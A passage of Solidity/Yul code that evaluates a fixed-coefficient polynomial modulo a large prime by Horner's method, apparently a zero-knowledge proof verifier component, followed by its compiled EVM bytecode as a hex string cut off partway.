add(0x2cc90219912af16cf9a39f57f8b8c514f797dd5d49dfed5eabdc278e31106a2, mulmod(
add(0xe0b21e37008355c35f7aee295a8b2b72465866b2bd68e72d36f032c34b38a0, mulmod(
add(0x1fdb038204ac50e87e3e7239d8c1c0572893ba98e031c982e545e6de64cb8e0, mulmod(
add(0xc3e0400cbde1da659381240d9c84b977eef3cd70e3e4a1a8763a05e682eb3b, mulmod(
add(0x3f64b3a307276c6a7169c54297bb12aaeebadec98df6ba1184492a82effe353, mulmod(
add(0x5f506aaae7ce6d94712c9e0ab02bd2a4ae09600608d54a8ca381b8e96222cf7, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3e3aa48bb5db9e2b0dc6d294009ecd5d4ff6255dfcdde3f5b4e545032ea9b68, mulmod(
add(0x18f9cfeaf2c33e21d7c6fd9e15a3601a2fb3905588868167566e8c1f1dd30fa, mulmod(
add(0x20096a7aa30c6c42f1d5f1ed88de275d1d1610f2548711a75fbbd72d373a50e, mulmod(
add(0x13d322a0ecbe1e785921a7aa6f4d1135e0798e72f4c055226205314b8348144, mulmod(
add(0x40fb948f8a4a10d2b2e928a5d77b481f8d3068b47fa388a3ee65609aade1a41, mulmod(
add(0xfc76b77f717a5b3ecafafadf29e7f886c8ae67a3a2bb30467c440472349953, mulmod(
add(0xa5d4606609371577b0d17fadcd85ce659885b00245a67b038f902176d99a7c, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1bc1186238f0d39e1c56185a8d2bf00c90c9c89647917d60a5b762932856524, mulmod(
add(0x7736291268c775a82caea06004d53edb829be2566fc7c4053b1d850a8116cac, mulmod(
add(0xe08853aabc9eb934b4470bb4ae1dbbe90c61d2093516df998ca7adc98afe10, mulmod(
add(0xf19faf3accc43b56369dccdec35dc7b49c5b8f8976764886bd16dd2e155f92, mulmod(
add(0x18b8b8d0f393950c9a2e674052150a328d214618049c7e2f58cbad76adbfbd5, mulmod(
add(0x7cdb723061223f33289237c7476e737ef0bbc5e2c1ed9a70566511fc2036ba5, mulmod(
add(0x425b03b0356b92e66ca816869a76110d68862a0d8ad76f950fdb1d5c03279d1, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3ab2d353537697d4de9c5c4c0bc31e5e776cb93181029144f6c6d4b5ea4317b, mulmod(
add(0xac068a1aae938e26e125b35c88a87130044bf3637bf1acd797103e7388b33a, mulmod(
add(0x2d5447623584d3a19e9993814622d6369248bc61813f067c4825c9b0a81551f, mulmod(
add(0x60db5bf6f060d82c169a1c4ed6c548d5e8cdb6cfd2e3257c155bf11f48ca609, mulmod(
add(0x66e1e25d1bcea87acd136f2c33498e3223fbf78bc6cc816ad6aaf68e961da0d, mulmod(
add(0x7417da24519b4c55ec0d698ecaceeb49711aa1e7f7d907102351e73388a0fa5, mulmod(
add(0x6cf772fa8050ad8eb87bc8f0c8fc511622b416fdb084cbc93b79501c96b0bda, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x68d729620eca6b4d904198a0e6d241953b9b8c874a10b5ede5596146d560979, mulmod(
add(0x63d4964faab567e795024a17032ec564ff221a421bd2e42632d3770c73dbba1, mulmod(
add(0x195f98a85cfe403a7d229a6eb4533a1fea641c331db75a5807711fdf1e27dac, mulmod(
add(0x36f446f7e5a51114cbdd3b460431bacb5a42cd61f4690cf5e9d9f13e488318d, mulmod(
add(0x50ee695deb5a4e63c5dd6de35621d1c0c5a496bf41fecbaa929b2b3e23f174a, mulmod(
add(0x1ec5264a5287f1c6de79b3df3adbfa157e8430e594078c3fba7002a077db447, mulmod(
add(0x6ca2dd473297a2852e68ea2b83faf8f71e5cb471adcc74a858132c6a823f0c0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x364889e46da58b66c827835a0c2807338eeb4431f2099f490d13bbad0777a01, mulmod(
add(0x6afb39d46d5a846e9d58a6ae27e6cdd83bee29c72754cd4cd3d3cae423f5c9d, mulmod(
add(0xd62eb553de83e5d51f78ddd9480d65870dc426f61153e732eb6cd62cee09cd, mulmod(
add(0x22cf65c6bbbf76765555748cc1ae91c83ea93ca2c8b34a59332567b5b3b0cd2, mulmod(
add(0x2322f8d96071356feee538e0c53d857b1924134b94377af20ed5d0e8b3925b, mulmod(
add(0xf639bcd7777c1ffd41a693ac9f5a051bd124b7edce3d568f14304c9fd90a67, mulmod(
add(0x1137975bab819ce0cbc73714305030fcd4a185f71d46c169908460390d56d18, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x26701dfe3cc76754a4ab893fef59886a43013ea6ba648efd82fd03941fa2910, mulmod(
add(0x2aa45ec320ea12beb804e35af3684dc981324dc9bd044592d1c408c052a4322, mulmod(
add(0x50be25e516e30f96d8b420a7c494506d2cd21d64f4d5ecb67d58c2ae99bf5e0, mulmod(
add(0x4de47e973af27fde9ad29f812de8a04855110118eb73fcdb46865390486a287, mulmod(
add(0x1ab93f16e576b6a54598582eff5e2cfc33baeeb607826579680636b05046d16, mulmod(
add(0x5c180e2fbb2b51e053941d0e1611424fe60ced6d439115dd98530c8d79cca4a, mulmod(
add(0xaea6f7f915e4aec612029a9d02316baa3f6297ea4cfd38897f4c9859ec485e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x5626d2ae9581d1d335bfc3863a4eaf3568ec8e70fcdae93f50a15b0cf601b6b, mulmod(
add(0x7e84842d5fff1666e01505f62661bcc822dd3fa530ebd1e4089230a4045a04f, mulmod(
add(0x596f89b6ca79194eb6a87c17692aa491f5b014da3cc7e5f05caf4fc1779c2dc, mulmod(
add(0x3e2dbef5f162784e13b5ff4c33bcbc444ad1546922b293d6783b5de5c5aba78, mulmod(
add(0x580f9d95c2bd746c9210a87b0f9ed275afee1dde7a41d9ad5e69861ec0e43f6, mulmod(
add(0x4e92d5f575fcaac9adedb4e0c3549dc18f61bc40e3752e3506f3761c32c6e3, mulmod(
add(0x1773ba95dbeaab6e5e9fc79ac153d46be1e57828e92287d698a3f4f87ef4984, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x679061e5f453c8bb1855dce8f7d61f2cb64b15d2c4e70b969ec4ead3fc6a226, mulmod(
add(0x421fac0e48da8e6355c07f6a64bcea96384848e8ea9a7113ab45f15b1dd15aa, mulmod(
add(0x4d215dd42f87632a9cce2cb95081dc731e36796c3d2847dc96a3554231c6aef, mulmod(
add(0x68371fc7cb3e0670a73eb3a7e773ddb63f231c26bf25bb1fc1fe6e93a7e3bd0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
}
return result % PRIME;
}
}
|
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80635ed86d5c14610030575b600080fd5b61004d6004803603602081101561004657600080fd5b503561005f565b60408051918252519081900360200190f35b60007f080000000000001100000000000000000000000000000000000000000000000180838181818181818181818181818f097f022aac295d2c9dd7e94269a4a72b2fb3c3af04a0cb42ed1f66cfd446fc505ee201097f02bc4092c868bab2802fe0ba3cffdb1eed98b88a2a35d8c9b94a75f695bd332301097ef685b119593168b5dc2b7887e7f1720165a1bd180b86185590ba339398793501097f05febf85978de1a675512012a9a5d5c89590284d93ae486a94b7bd8df003242101097f04e1b2bc38487c21db3fcea13aaf850884b9aafee1e3a9e045f204f24f4ed90001097f0324182d53af0aa949e3b5ef1cda6d56bed021853be8bcef83bf87df8b308b5a01097f05d4c38bd21ee4c36da189b6114280570d274811852ed6788ba0570f2414a9140191508083828584878689888b8a8d8c8f8f097e529414d56e9f6bf4ce8be38c8f79ffab78b185da61d606c411098f981f139a01097f066d15398bbd83688bda1d5372e048536a27d011f0f54a6311971822f55f9c0701097f052e5e75be2c96802a958af156a9e171dc7d5cfa7f586d90ed45027e57c5fe9201097eb0e39f10e5433b2341ecef312e79ed95d5c8fe5a2e571490dd789dad41a2b901097f0703dcca99c0a4f2b2b7f1b653dbbf907dd1958c248de5dcb35be82031f7d17001097f0749e86688f11d3d0ef67e4f55535c715a475ceec08547c81d11de8884436d8d01097f044a14e5af0c3454a97df201eb3e4c91b5925d06da6741c055504c10ea8a534d0191508083828584878689888b8a8d8c8f8f097f06cd537aebc479350e63acbcf7b9da84f4b06c6c26a571d3a7dd416a94a956ca01097f05e2909b1136e1d6608663e5cbabb616b28d2fd6f5dfb7cd03c4a7e719b7c53f01097f051170abac6896de6a5b478741dd56f52b1d2a1feea59b1f26d060e09ed98b3201097f01d0f94ce5d9d3beaa42ebed05a2f172aa2227e9a9fee0bf43a3fb068c1ac34501097f0785dc572a88712cb4eddcc8a167bb1b62f9a79282f21ee92a0374af7616934401097f039d9d83e0ac884a5ee0f2d227f9eda71724a55002a41938458e45251e12130801097f07fdc637318ea00385719f9ce50848d13cc955eef9f36a90b87e646dac85e3aa0191508083828584878689888b8a8d8c8f8f097f072d82458ba49cd6c638f89d2e3a68e49944f486cdfb7d2848e51aa9f99292a401097f04c484b2cc04747d8d812180ec716f779302231983fa17971b575274c0a9c37801097f062773dee1773834dbb324c4c0d48dcdf9bbf0511547feb1b2ab0f7af7fa2dc201097f05b0343972ee9e17afaf76adc54e6797d54e6e47a7ea1167654ce076e3c6c36001097f03ca8d84242dd2bd2a5d6e644fa1dc9f5082ee6131b6f0db8fd7d4f87109098b01097f06f4ab1f3bccea47669a4c93da36db05bd6f5197945b5ab29191a703312ed3a801097e2d626ebcfae2d3618e350c190fc636495fbb04dd4a4e563680fb961a3d30d80191508083828584878689888b8a8d8c8f8f097e42f0a74ce045e8194b7a5cac4e882b1f1a9face49c38fb3383cfd3d960806c01097f034b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d901097f0150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa801097f04f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a01097d98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac01097e58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f01097f07850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f787430191508083828584878689888b8a8d8c8f8f097f0337092590652e19c23b48de3629ae0bd4157a5a72ecd3fcd17bb93f0581471601097e95fd265a2a87c42af5a20a199e6730ee3f0e3352a38a5e7e84ef46c621903d01097f038ada3df52cd03154d66b7da4a8a01835a461e61a76ac9576649d8c0001361001097ec1bbae3cf2d414dc12119a0c746e3c10e148f8b522d574eff757d44d8b3a1401097f07122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf01097f075275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db601097f070af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d0191508083828584878689888b8a8d8c8f8f097f047c78a993a13204796a2fca3b20c0f02c0601e7cc59f84570fa026c65796dc901097f055713c4cc9f91e9f158f70683238853d0bb7cbd8358ff72b01fb60808b5c1de01097f0412fcd2551c0516392f685a62b54fb82b9a73bcffd42abecea4482b65aeea4701097f06925415cd4dbae0ea5e9f41edcb503ff6f668da1cb13ec73eab6a99cd96752a01097e3a2a902a0e43ab33c19459984fe116fb215796cb40c48e254de6126b55e9c301097f0552e18bfefab6c3362cec587f0a7433a914f1359e5767b4fe883f1ad902dd1301097f05643c5a69044bb8e86d10d3248ea3f50f8598732b0c517b256fe108294e09f30191508083828584878689888b8a8d8c8f8f097f0542f931640d9010e906b7e1e375cd0481740157eb51500ea1e10afe77f2626501097f02a2811098d68a747bebe9ca2eae06b604bb307e5f51a9bdac1636f380feabb501097f057d53073d66a528c88f24e40011321f74ce5bdbecd6ca319e5e770ae29b21da01097f01a4393bce3924d765902469c715fedeea69adca566859b4c8c412b7d7cb566d01097f06dfc1fb08b981f73911dc43811caa0ed99749c2f0903f87f389c9a0e2a8812601097e224fe4f546c8f999947a5864ed0dbcd64fcac6f774ebce11667c2bbb7d860301097e1f7d548c5a6f2bc70ff6f8ee47f38221ae25dcb4f9b068054ee66227494f870191508083828584878689888b8a8d8c8f8f097f0735f4476c2b51acb4f0dd9dbc4306108e37543538b2cd3cd2327ae5377a2e5d01097e66ec70c796374a71b6aec5520467ebed547f645d1670b990dfa680a1b415cd01097f014ac38a4b82b4c65e4993726b58f32c74988997b8e8f7729fe9032cf187896d01097f027092905558602aec9af09947b70bb974caa3dd7cb1cb991810e15d75194aa601097f044e3645cc1b135410b2a52a5b92bcb454985033615453a51ac46377885c430901097f0352b933e5d853527d2a4317db613d07117fad8115948957515bc07d72e161f501097f0268c1e10f6f9969291b1d2f54289371a2f40a14cc67b3736e04eb891c1824ed0191508083828584878689888b8a8d8c8f8f097eaa81707e389769aeb31cc8b45276af0370dd702ac79461bae0a4078cefb5df01097f067dec5ad6ddb1761ec61d2820533f7a2bb56d66f2fb8ecff9cbe2821899006101097f0106911de08ef437acabf58d178db7c81ff4d7de25f3ef5cd2582f44176d449e01097f0356591a80d5c2e14c3d8a180c030a9529a8580a4f3be00a5a9eea83d0d585f001097f040a3ea8c4059a1b9138884234381d6d383e66dd48eac1bf05f5fcddd593c88101097f0699e679a8f38a1ecb14c6695a2848c6abbab8a05003e43aa5cf4a9c6e6058f201097f06b86f825e41b2c9934f71cc2cb08787d1bd4f2eefd2be9c44e37bf387b359400191508083828584878689888b8a8d8c8f8f097f04eb2786b11bc602bbf773564eb9b057d7dc02daaf4359c015295d97b74e72bb01097f07b0ed28b968689517aaa216c0203e57f1cf56b22ff1213561499ae140d37fa201097f0367ea925556a875faedf4d61bd2a95a31067bde6e682c50035bb3310cc54b0301097f0781cf0ea1c0ba9cf908656aa2c5a9403d54c26c8ece401a2c13be8d3090f9c101097f020ffc2b4c6c318bee0cdfdca40b2c10f2c629d3b52472b17c1bfd909cb7b85a01097ee5e89fde76daa211fadf1178785f0c25a94d47a468cda257a895b871a928c201097f0164344bae5b9dca8f384612e7351fecde28adee3d245c98dc2f65509b181d8e0191508083828584878689888b8a8d8c8f8f097e4063a6202df9488fe5384aaf7be7610b3e88a9c01486c1b88767ca3635534001097e546f65cf3367a004f10e9a4e47d71f6ec80086cb2be19d7b225825e01eb32301097f072c11bd84cd54152607e4c6e558a28e480a6487e374b865682c167484f8c29b01097f07a5d11f284ee7db72bed2338784d6467e05cae85f333e05c5610c018a57c2a701097f064c71feb673d2655bb1865f9c4bdfb16b1bcd0f278a911363056674dacb812f01097f062334e7d6094be4431aeebefc420f7e656459d6fc2cb10455123ede054f4cdf01097f05dd4b3dd252fa7eda7b46674369a2f8c5b00a891cf01ada0ea5aada8bfbf6d40191508083828584878689888b8a8d8c8f8f097f03373dcd7d0f0f8bb31ec396e1ec67e1f121121356dba549bce9fd4d3bbfbaad01097f042a6c571001e263b1ec8168805bf4d6cb65935cd0687c696ae3a6968fd2837801097f016f35b8d34d425a85fe48e66632d3e4af27d5d65cb180cb99047fdc2b908ea601097f024327b5849aaae0d313870c10e8010a115b70a99cf6b92925f51d2f0568628701097f045ba7e524d75c65ab27b57a6e0b90458c9b0eb651935f84898a5d3cd0db9b8e01097f0767d8839373a2e97b7e3de1be6f4c18df648806920e92fcc4da9ab6bd8525ce01097f0741b0f4e1bf8ed4d6318f5dc5ebba8529089f5ef4a84cd727564c60cc11a96f0191508083828584878689888b8a8d8c8f8f097f068682814e1b4dd639cf396a9f60efe5ca035c6ccd75054b8911e8a15230efa701097f068edfc809bfa6534b583624db421a2cb885d2ce888e6f95eae85ad9cb38249d01097f05d6575134d1b37e610f25e65bc8b0b1ad7fd0cdcaa56fe573142a09707640b501097f0327bd35b3ec38fb121c039f777669426d3d60df3922e688a408a06d4e7ee3a101097f029a66c93ef1fa5ac4b6f96ed329810085b294a7ab8e16c61b1e225fd740623601097eac01d3129d24fe9b9209df8bfeb2526bc27e9c27d78f69eac16ce151b1354001097f03a967c407600baaac716275b8fa16a08c22e928d895c762b2843d00496b33900191508083828584878689888b8a8d8c8f8f097f04d111629c799fb16f602183ae372aee382e0b401312951eefe77a167457524201097ea8a00bb9874fbb44ee3411814dfb9d4d6048f5e3af6f7f09fff4e9f026390101097f03abd943152451107f59aa81194e7bbbe37c4a86a6b41e20a02f8145dd32fa8701097f0580bd7107af3afc93d0cfd1f0bd39f78f06ebe3a900f5d79943c25e980e565301097f07a615360e826e937db0c91cc1c9196086a3fd608cb01d20186ba1ce856904ed01097f021df6648e6f783b7361a20191b8d399a4373dcbcc83f6b4a9a40bf11956219c01097f02c82b2a99d198138ca2c4229a1929d044b113c1b0f693659712318ca7e7f8040191508083828584878689888b8a8d8c8f8f097f06dd74321080cc46d816a963c8a6f5dac42cb11e66c79831efba77433cce0d2301097f01e54c3a5a3beca7932090ff58784aa43261075950feaab0e2a840f3801b81b901097f03360af40b57c0a951da3219025643a76516f85119dfbb05f61874eb3b56b13001097f0164d44fb88efb41e301934bf2c61a20e41c9bcb3f8e784ac5857063b4fc3d5a01097f046efbcd0bd7f06d59a430ddeb9f239d66a24ce1fa72f5dbcc2bab48b707b2dd01097f05ae517bdefe7b6785680842685de0b5cd972a22dae9ceb50a6ea3665feb06f001097e51f4698c121db3db4a5244334c5180cfba256dc80a59689e2c0f1f8d946e6c0191508083828584878689888b8a8d8c8f8f097f067d2681fae96c0b4bf22d10a73a1882c5bf4a5440f8d0458394d514ff7bd18b01097f03dab30754623b91aec7a165cc167e9003269ebab3e551781e4c8cfb73402de701097f044be18892438118a0b3fc099da7489a89cffd4206678abfd37b1e649ad1917801097edb0ad3bd8a33b8daf1d53ff8604bbe5259b6620e3b547d5c6f392dbc10ccd501097f01a36f20817da4dc0c2e8b62fa08ce15cd3cb50419acf5211d6948bd6b28c8ce01097f05fa6f7f2a7a527880a5b58911dd7f3a491fc702f481cee30e67c4980092f85101097f06f682eebabbcbfa3e7084b47b2a01acb693865749df222b4b8dee0ec41903cb0191508083828584878689888b8a8d8c8f8f097f01fd7088411b30cb5762147b1d6749942485b36c68ea32f60ab83fdcbe987d8301097f07172b43d0c88348e5453b0b26d54d4a7ad7e99e6b0c4b787341c8d89936197e01097f034369f479f013d44dd5bb0d79d8a9effdb2ca36ce8b3d7e759bf707233c5bbe01097f03054d35b59baf5b0a2078c23322de031b383033837cd6b978b6c060120b7fb301097f023f0124cd1c3f3605fa1ec36dc4d6cb6e229f8ba8998b138a44595f96f3bf2101097f02300892e3f3c180333d091901ba99ab9e23c7947309b9e88ad47025847ec3a001097f04182bea2ea16dcacb0194876cd5fe8c79e1a55836aff8aa6074d235af5f7b290191508083828584878689888b8a8d8c8f8f097f050f3e383aaf3533fc91b9633386542798abd69b79af893f47f6603d3cc35ea401097ec37f91c81a7006d6681cb511dab2e4d83928ccb78d1dc72c4c556e4cd72db801097f02693f31fd4bb5a1ef9cacdc4f2b33c3d6d965b76e7bf289020ab1b6c6660d7001097f02bebc90c59dc0e37e28c7c7d8254520ce08894637bf1a089aed26012690d11901097f017626d3869adf0fdd3fedd48e9fe1266bb33419bfe9046df43c6409b440980e01097f0734438bc30566591da45df9366f936415d29eaeaeab392488bcccb9acf0edcf01097f022a7b1c897f54da39a1db61b345b234969e36ef6ba0ea02f8d8b3e83b5c62420191508083828584878689888b8a8d8c8f8f097f022eef827b9d0b57649233c5d527b4641decab31df78347a20da21c705df093b01097f0193185be6e02dc0a07c0dced4ed031bf0a406219cce325e76408123406c318b01097eb10494024548b14df121b738abc7babe56c12acc0490699443426a52f3a4f901097f0375ce3766894524209e2043a150f10ad0bf4f726e3dc5453c3c757e56943a5101097f01b1c82e5c561dc42f8c9c2a9f7db6bacd729b2646892a8ecfae9ead9a338aa601097f04b540d0085be455b24f014bf51dc7d0eceb8c93bb644a5208fa02dc58c718ae01097e17f2709d2719458a9bf72a2b04463f0a6529fd9368a47715c628ba4e006cea0191508083828584878689888b8a8d8c8f8f097f020e468bb2828fb774d5ab538ff7f93ada201c2e392936e05cec29cd5a7a462d01097f029cc816e6be353f6ad5e2c390f37ed3940b0dd67610a7eeb0bcded94bdcf92001097f04d3b0654fd74862a92aa716af33b5ad5ac20dc0460c724d95ca94fe6d8a9d7e01097f07ba5194da963f8224987db2720f16baa604ff62351e66a63c0c9dba00fbc7c401097f031d335bd885c9cdf2adc68ab45b8eecd2d3588cf85b93206896b2626eb1e36901097f04efcba706a8b7868e32f363efac2696ad0625d046a3ef97917c71051501638601097f056017977a273ad0e91c7c26a702ae4508343e97968295b08447b3cc7f20522f0191508083828584878689888b8a8d8c8f8f097f016416cc193a5ced6ff213fc18c86bd6f08d17c576f26b9ebd00d2653bbd644401097f04237c41364975eb79919303fc0a381b934befe871fdbd72c18f97627292923e01097f01b389d976c22a3bfb42424896c9b135a3794048724c729968f81e04ce41419401097f062fc206aa283139f7451e54cdac873fe86b6e7e89214a3c0318fbcaf6016fa401097e88f6e5a835dfda9fa2e2ff248d9378352f4a89b6bf5935700da390baebadb701097f04f9e975176d3aacd79c322d013c854c4b8829d1e469c9b242461f35e8dc6fed01097f06e1143b147dd1bcc56dd43e6a3616c9a4016d6887cf0009ebf9f9796efc944a0191508083828584878689888b8a8d8c8f8f097f0284c547c04ca83fdb01020cfc797eb362838317f09e5d25e1e4eef353ab7a7f01097f060c327ef73c8468805ecace45a33ccc375fc91ffbf01b4b10a01ffd4b7aaefe01097f059cd87f8751437900e984a009c63fdf7461b177067760f30d4f648ab271660a01097edaf5a68420fa7ad811f6dc75c5b4e92173a5d89255dc75accb8cec80a9cd9101097f01f573af6e3ad146eeaa582f540de6a8db237ff2f28423660de998a4275bf4d001097f02830a6edb344b7fa86506557a0b2b0bd900429218fb35e7990951fe4fe869c601097f058f2e18613b3b25529935a623e7d5c8318ca9ff3fb180f16f7454ca9e348e350191508083828584878689888b8a8d8c8f8f097f042c8f0b5507417eb48ffeb1a7df8808633f193c27df8e2f44ee7bd62cb2c3bf01097f050d603bf9c2a456b828ae476092affde072ecd878877ec3f99ba8f574d263a201097f0413fda31150aa8462deae8a6043fc5624599fb7f638c4d5c5f89472e1223c2801097f013fe84c8ecc2e3fd289560c0ada7a251fdd5fba24c076be4be465feec4262e601097f02b2a0768e9a5f59e7f33ea449690794c8b409bacd1c808f7ee8065ed9d8648c01097f03030332e9cf430f72159914e59ab9af532bdfdafedc1be39691256c8084954e01097f016617a52bfe5d2fd0eedb0d6411f5fafeb14a4ac17da0cc828c914acb500ce90191508083828584878689888b8a8d8c8f8f097f0553f8ab49053432bab53835480b6f4c416eeffb3470fb6bcf122741cac3d71d01097f03939ef0e572dcc3b67f0cb819fffc521df26e50814281621fa6982b1465f78601097f0520b18e79de342aa7095ffe56be6222b0d2e44fc3c676a5c994f24e427b45e201097f03f3ae3871460ac578f5030d925e91c138f3290f8f3cb6d4b560b4b16fbacd6401097ebffb0e4f7ccfff0cee519edd1004eefbc47024f92c4409bbdf688c133ad28501097f062d6874b6dcb1c4dc8ed797b9158da4359c6c49f27af4851a12908ecad2092e01097f0511c0ad7c0bfdcfcfaf925895a8ef5e8c5e0d147e29c9cdae45fbc998fce3460191508083828584878689888b8a8d8c8f8f097f025199c11f7193e07191cd9b9108aa8b440ce1972dd1cbe5f0cc33b7783203a801097f03cf3b95ba351a72019ed1bcadab32116adcf079e72800a9d88f15244e7743e001097f019cf240d04f4859941f9b6af4a7088729aa10307cd08aa75f01cb22e872543d01097f01cd528d070930aef19e0f928fc744e79ff57e227b6aa1bbfce15a79166aefd801097e475f8af086f7aa4ec3739f754f7dd291dc50decc7c7fb03de8aee3cf06824f01097f028f86fe2d71f9410e14c17195ae19c2c5e623c525c979f4f74dec3ef8848eb501097f0508243aa19e23cdb8ca0154055c05130462908c6a2691ae522e37ab9d6168f20191508083828584878689888b8a8d8c8f8f097f037cf9640e321e7bccf1926d5fea92918d6888c5805e27193722995233a4adc501097e66336e2e2eeb939818f861fa4aa9b2576936470f511786f8fa3417850a6c2d01097f019a0ff21908842e412addb744b0ca384a54bdde819f6337c4c672f682fea9cb01097f044147236daf669f8a94b7ea353c3dd7e64312ece01ccc1d4dad67916591d50b01097f01d6cb5a655919a581078aa2f8a21d300425026ccd7d047302443d78dbc67abd01097f04d8d9b92b38a45147bc9c87c071672edd93cbf5bdc8d85e608f26f1d82d172b01097f04acd125e74056ca611a1b07369166eb5c02af7a4cbf387b2bd584a362fa9e600191508083828584878689888b8a8d8c8f8f097f03b4fdc8d965de1761e445ee88cb406f707f9d0b1ea3c069d12084c0ccba9b4401097f01f27c20f47daaf01d4627d5e9bee0e9bd2aa5b75807064cd60ed87e307f677a01097e4758304a75f149e24563c2b22459151389b86d36108f5dfe11ea1fc7a64fd701097f01c1216fe648d287c2645dfc5152e171f25483df5ef112b745c2e59b5d9ee07c01097f024adf288d61c113e28d9a298d2642eb67586019adcb952abf274ebe1d30e24a01097f03e09706cb43c83143c9dc46f97e0e1ab4327de19ced69badaa8b2c80f68fb9b01097f0589a2e11637d0c90fe91bb9f4d55a80cd1a2df7f3431e8b8bdce8fe7d35126c0191508083828584878689888b8a8d8c8f8f097f05f506aaae7ce6d94712c9e0ab02bd2a4ae09600608d54a8ca381b8e96222cf701097f03f64b3a307276c6a7169c54297bb12aaeebadec98df6ba1184492a82effe35301097ec3e0400cbde1da659381240d9c84b977eef3cd70e3e4a1a8763a05e682eb3b01097f01fdb038204ac50e87e3e7239d8c1c0572893ba98e031c982e545e6de64cb8e001097ee0b21e37008355c35f7aee295a8b2b72465866b2bd68e72d36f032c34b38a001097f02cc90219912af16cf9a39f57f8b8c514f797dd5d49dfed5eabdc278e31106a201097eab2147a23a826d5f7c6fea5bf889eaafb5531721f31ee0a9f02fd58f09f65c0191508083828584878689888b8a8d8c8f8f097ea5d4606609371577b0d17fadcd85ce659885b00245a67b038f902176d99a7c01097efc76b77f717a5b3ecafafadf29e7f886c8ae67a3a2bb30467c44047234995301097f040fb948f8a4a10d2b2e928a5d77b481f8d3068b47fa388a3ee65609aade1a4101097f013d322a0ecbe1e785921a7aa6f4d1135e0798e72f4c055226205314b834814401097f020096a7aa30c6c42f1d5f1ed88de275d1d1610f2548711a75fbbd72d373a50e01097f018f9cfeaf2c33e21d7c6fd9e15a3601a2fb3905588868167566e8c1f1dd30fa01097f03e3aa48bb5db9e2b0dc6d294009ecd5d4ff6255dfcdde3f5b4e545032ea9b680191508083828584878689888b8a8d8c8f8f097f0425b03b0356b92e66ca816869a76110d68862a0d8ad76f950fdb1d5c03279d101097f07cdb723061223f33289237c7476e737ef0bbc5e2c1ed9a70566511fc2036ba501097f018b8b8d0f393950c9a2e674052150a328d214618049c7e2f58cbad76adbfbd501097ef19faf3accc43b56369dccdec35dc7b49c5b8f8976764886bd16dd2e155f9201097ee08853aabc9eb934b4470bb4ae1dbbe90c61d2093516df998ca7adc98afe1001097f07736291268c775a82caea06004d53edb829be2566fc7c4053b1d850a8116cac01097f01bc1186238f0d39e1c56185a8d2bf00c90c9c89647917d60a5b7629328565240191508083828584878689888b8a8d8c8f8f097f06cf772fa8050ad8eb87bc8f0c8fc511622b416fdb084cbc93b79501c96b0bda01097f07417da24519b4c55ec0d698ecaceeb49711aa1e7f7d907102351e73388a0fa501097f066e1e25d1bcea87acd136f2c33498e3223fbf78bc6cc816ad6aaf68e961da0d01097f060db5bf6f060d82c169a1c4ed6c548d5e8cdb6cfd2e3257c155bf11f48ca60901097f02d5447623584d3a19e9993814622d6369248bc61813f067c4825c9b0a81551f01097eac068a1aae938e26e125b35c88a87130044bf3637bf1acd797103e7388b33a01097f03ab2d353537697d4de9c5c4c0bc31e5e776cb93181029144f6c6d4b5ea4317b0191508083828584878689888b8a8d8c8f8f097f06ca2dd473297a2852e68ea2b83faf8f71e5cb471adcc74a858132c6a823f0c001097f01ec5264a5287f1c6de79b3df3adbfa157e8430e594078c3fba7002a077db44701097f050ee695deb5a4e63c5dd6de35621d1c0c5a496bf41fecbaa929b2b3e23f174a01097f036f446f7e5a51114cbdd3b460431bacb5a42cd61f4690cf5e9d9f13e488318d01097f0195f98a85cfe403a7d229a6eb4533a1fea641c331db75a5807711fdf1e27dac01097f063d4964faab567e795024a17032ec564ff221a421bd2e42632d3770c73dbba101097f068d729620eca6b4d904198a0e6d241953b9b8c874a10b5ede5596146d5609790191508083828584878689888b8a8d8c8f8f097f01137975bab819ce0cbc73714305030fcd4a185f71d46c169908460390d56d1801097ef639bcd7777c1ffd41a693ac9f5a051bd124b7edce3d568f14304c9fd90a6701097e2322f8d96071356feee538e0c53d857b1924134b94377af20ed5d0e8b3925b01097f022cf65c6bbbf76765555748cc1ae91c83ea93ca2c8b34a59332567b5b3b0cd201097ed62eb553de83e5d51f78ddd9480d65870dc426f61153e732eb6cd62cee09cd01097f06afb39d46d5a846e9d58a6ae27e6cdd83bee29c72754cd4cd3d3cae423f5c9d01097f0364889e46da58b66c827835a0c2807338eeb4431f2099f490d13bbad0777a010191508083828584878689888b8a8d8c8f8f097eaea6f7f915e4aec612029a9d02316baa3f6297ea4cfd38897f4c9859ec485e01097f05c180e2fbb2b51e053941d0e1611424fe60ced6d439115dd98530c8d79cca4a01097f01ab93f16e576b6a54598582eff5e2cfc33baeeb607826579680636b05046d1601097f04de47e973af